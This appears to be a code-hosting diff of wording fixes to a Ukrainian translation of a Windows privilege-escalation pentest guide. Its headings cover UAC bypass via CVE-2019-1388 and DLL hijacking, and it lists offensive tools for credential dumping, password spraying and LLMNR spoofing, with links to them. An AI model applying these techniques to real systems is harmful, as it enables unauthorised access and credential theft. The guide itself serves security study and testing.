Також наступний інструмент дозволяє **перехоплювати комунікацію через названий трубопровід за допомогою інструменту, такого як burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **і цей інструмент дозволяє перерахувати та переглянути всі трубопроводи для пошуку privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
|
||||
## Misc
|
||||
|
||||
@ -1247,7 +1249,7 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
|
||||
Compare-Object -ReferenceObject $process -DifferenceObject $process2
|
||||
}
|
||||
```
|
||||
## Вкрадення паролів з процесів
|
||||
## Вкрадання паролів з процесів
|
||||
|
||||
## Від низького привілейованого користувача до NT\AUTHORITY SYSTEM (CVE-2019-1388) / Обхід UAC
|
||||
|
||||
@ -1299,7 +1301,7 @@ Windows 10 1709 16299 link NOT opened
|
||||
|
||||
https://github.com/jas502n/CVE-2019-1388
|
||||
|
||||
## Від середнього до високого рівня цілісності адміністратора / обхід UAC
|
||||
## Від середнього рівня адміністратора до високого рівня цілісності / обхід UAC
|
||||
|
||||
Прочитайте це, щоб **дізнатися про рівні цілісності**:
|
||||
|
||||
@ -1345,7 +1347,7 @@ sc start newservicename
|
||||
|
||||
### Dll Hijacking
|
||||
|
||||
Якщо вам вдасться **викрасти dll**, що **завантажується** процесом, що працює як **SYSTEM**, ви зможете виконати довільний код з цими дозволами. Тому Dll Hijacking також корисний для цього виду ескалації привілеїв, і, більше того, якщо набагато **легше досягти з процесу з високою цілісністю**, оскільки він матиме **права на запис** у папки, що використовуються для завантаження dll.\
|
||||
Якщо вам вдасться **викрасти dll**, що **завантажується** процесом, що працює як **SYSTEM**, ви зможете виконувати довільний код з цими дозволами. Тому Dll Hijacking також корисний для цього виду ескалації привілеїв, і, більше того, якщо значно **легше досягти з процесу з високою цілісністю**, оскільки він матиме **права на запис** у папки, що використовуються для завантаження dll.\
|
||||
**Ви можете** [**дізнатися більше про Dll hijacking тут**](dll-hijacking/index.html)**.**
|
||||
|
||||
### **From Administrator or Network Service to System**
|
||||
@ -1374,7 +1376,7 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
[**privesc** ](https://github.com/enjoiz/Privesc)**-- Перевірка на неправильні налаштування**\
|
||||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Витягує інформацію про збережені сесії PuTTY, WinSCP, SuperPuTTY, FileZilla та RDP. Використовуйте -Thorough в локальному режимі.**\
|
||||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Витягує облікові дані з Диспетчера облікових даних. Виявлено.**\
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Розподіл зібраних паролів по домену**\
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Розпилення зібраних паролів по домену**\
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh є спуфером PowerShell ADIDNS/LLMNR/mDNS/NBNS та інструментом "людина посередині".**\
|
||||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Основна перевірка привілеїв Windows**\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Пошук відомих вразливостей привілеїв (ЗАСТОСУВАННЯ для Watson)\
|
||||
|
Loading…
x
Reference in New Issue
Block a user